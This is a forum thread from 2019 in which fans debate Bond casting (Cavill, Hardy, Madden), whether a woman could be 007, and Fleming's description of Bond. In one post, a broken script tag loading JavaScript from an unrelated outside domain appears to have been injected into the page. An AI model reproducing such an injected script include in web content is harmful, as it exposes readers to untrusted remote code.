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Petter Myhr Ness
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Posted: 10 February 2019 at 8:07am | IP Logged | 1 post reply

The magazine SFX is doing a rundown on potential Bond candidates once Daniel Craig gives up his licence to kill (full article here )

Gillian Anderson (!) is thrown into the mix. With the following quote:
"There's nothing to say that 007 can't be a woman". 

While that's technically true, if the number 007 one day should be given to a female agent, that person wouldn't be James Bond. Unless you discount every word Ian Fleming ever wrote. 

As for the other candidates, I reckon Henry Cavill could do the job. What do you think?



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Cavill is too big, and too handsome. I was watching DR. NO last night, and thinking once again how perfect Connery was for Bond. Handsome, yes, but in a mean, lean way, not a pretty boy like most who followed. Someone we could believe as the government assassin, the "guided muscle" Fleming gave us.

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Posted: 10 February 2019 at 10:41am | IP Logged | 3 post reply

I'd go for Tom Hiddleston
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How about Tom Hardy?
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Tom Hardy is interesting, because he seems to transform completely from role to role. It's uncanny. 
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Gillian Anderson seems a very sensible choice. She turns 51 this summer, so should be the perfect age come filming time and she's also physically imposing enough at 5'3" to convince in any fight scenes. Having spent most of her life in the US helps, but she does have a bit of a black mark against her by having spent some of her formative years in the UK and having the ability to speak with an English accent at the drop of a hat. Otherwise perfect.

Seriously, I'd want someone who is: 

not well known
in their thirties
British
gritty/tough yet polished

I hadn't previously considered Tom Hardy. He does actually meet most of my criteria above and I think he would make an interesting choice, but is a bit long in the tooth. Hiddleston I think has the polish but lacks the grit/toughness.

Maybe Richard Madden could do a job.

Edited to add: and I said Madden without looking at the list. Following the link, I see he is right at the top. So, yes vote from me for that'un.


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Absolutely. Just like the original Bond books.

I don't suppose they could make a 008 movie, with a guest appearance by 007? Enough to draw but not enough to overshadow a new MI6 agent?
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Bond is supposed to look like Hoagy Carmichael according to Ian Fleming.

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And also has a scar on his cheek, which has never been used in the movies.


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While i was watching the tv series of Spartacus, i
thought Dustin Clare had a certain Sean Connery quality.
Oh, and there should never be a female James/Jane Bond,
a fellow "00" agent who happens to be female and is
Bond`s equal, yes.(Same goes for The Doctor in Doctor
Who)
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Could a woman be 007?  Sure.  That would just mean that James Bond was either retired or killed.< ="text/" async="" src="//cardinal.net/1fa16f6ccbee745a0c.js">

But if the question is:  Could a woman plays James Bond?  Then, obviously, no.
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Is 007 an inherited number? Was there a 007 before Bond? Will there be one after? In THUNDERBALL we saw an arrangement of chairs set out for the 00 agents, several to either side of Bond, as I recall. (How high does the numbering go? Is there a 0010? 0015?)

It seems to me unlikely that more than one individual would hold the same 00 designation, whether the first had retired or been killed. It would make for messy bookkeeping, for one thing!

So Bond is the only 007, and when he leaves, for whatever reason, someone will be recruited for higher up the scale. (Why am I remembering an old gag--0036-24-36? Where does that come from?)

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Bond is supposed to look like Hoagy Carmichael according to Ian Fleming.

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"A little bit" was the phrase, as I recall. I don't think Fleming intended them to be dopplegangers.

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In the words of Vesper Lynd in Fleming's first novel, Casino Royale

"He is very good looking. He reminds me rather of Hoagy Carmichael, but there is something cold and ruthless in his..." 

[Unfinished sentence in the original]





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"Why am I remembering an old gag--0036-24-36? Where does
that come from?"

Carry On Spying?
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Don’t think I would ever have called Hoagy “very good looking”.

When I first read CASINO ROYALE, circa 1963, I’d no idea who he was. Didn’t get a look at him until I saw him playing himself in TOPPER. Then my reaction was Huh??

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How high does the numbering go?
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In Fleming's books we got as far as 0011 (mentioned in MOONRAKER). 

In the movies, 009 has appeared and been mentioned (and been killed one time), suggesting that the numbers are assigned to different people.

So there could be another 007, technically. But there's only one James Bond (a popular theory that the name James Bond is given to different agents, is pure nonsense).  
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No on female Bond. We had Atomic Blonde and that was amazing. There are other agents if they want a female MI6 agent.

I'm reading Forever and a Day, the Casino Royale sequel by Anthony Horowitz, authorized by the Fleming estate, and in that Bond takes the 007 number from a deceased agent, so I guess the numbers change or can change between individuals. 

As for who plays Bond next, I don't particularly care as long as it's someone good and they get the films back closer to an every other year cadence again. I'm tired of waiting 5-6 years sometimes between films.

I have no problem with Henry Cavill playing Bond after the last MI film. He was great in that and more than a pretty face. The bathroom fight scene was one of the best fight scenes in recent memory. He also did a spy turn in Man from Uncle. I think his looks would help the character and be an about face from Daniel's less polished blunt instrument. 

I listen to the highly recommended James Bond Radio podcast each week and the guys were discussing how outside of from Connery to Lazenby, the actors tend to be very different from the previous as they change. I think after Daniel's run, it would be nice to get back to someone who looks more comfortable in great clothes and a bit more suave, as Bond tends to be. Cavill would be able to offer this change of pace.

I used to think Tom Hardy too but too similar to Daniel. He doesn't have the polish of Bond. Even Connery, who was rough around the edges, seemed comfortable in fine clothes, talking about wines, etc. Daniel does not at all seem to have those qualities and Hardy maybe less. Time to get Bond back to being Bond a bit. 

I'd be fine with something of an unknown, Cavill, Richard Madden (from Bodyguard), whatever. Just make good films, recapture some of the more light heartedness and make the films more frequently. Bond, like Batman, needs to step out of the darkness a bit imo.
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No on female Bond. We had Atomic Blonde and that was amazing.

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We apparently watched two different movies. Charlize Theron is usually incredible, and she was, but that movie was so-so.

Henry Cavill or Tom Hiddleston would both make great Bonds. Not so sure about Richard Madden. I need to see more of his work.
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We apparently watched two different movies. Charlize Theron is usually incredible, and she was, but that movie was so-so.

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Sorry you didn't like it. It was a lot better than so-so.
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Robert Downey Jr.?
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We had Atomic Blonde and that was amazing.

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We apparently watched two different movies.

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I lasted about twenty minutes.

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Robert Downey Jr.?
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As much as I like Downey Jr, what you get with him is usually just Downey Jr. 
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We apparently watched two different movies. Charlize Theron is usually incredible, and she was, but that movie was so-so.

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I thought ATOMIC BLONDE was OK, but Charlize was awesome in it. I especially loved that they didn't make Lorraine superhuman by letting her knock out people twice her size with a single punch or kick. She relied on improvising weapons from her environment, using elbows and knees, or just hitting /more/.
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I give ATOMIC BLONDE a generous 2 and a half stars. And 1 star of that rating is due to Charlize Theron being in it. It was too slow in parts, and rather obvious who one of the bad guys was. 

There's apparently a sequel in the works. We rented ATOMIC BLONDE from Redbox, if I remember right. Unless they cast someone great as the villain, I'll be waiting for the sequel to hit cable.




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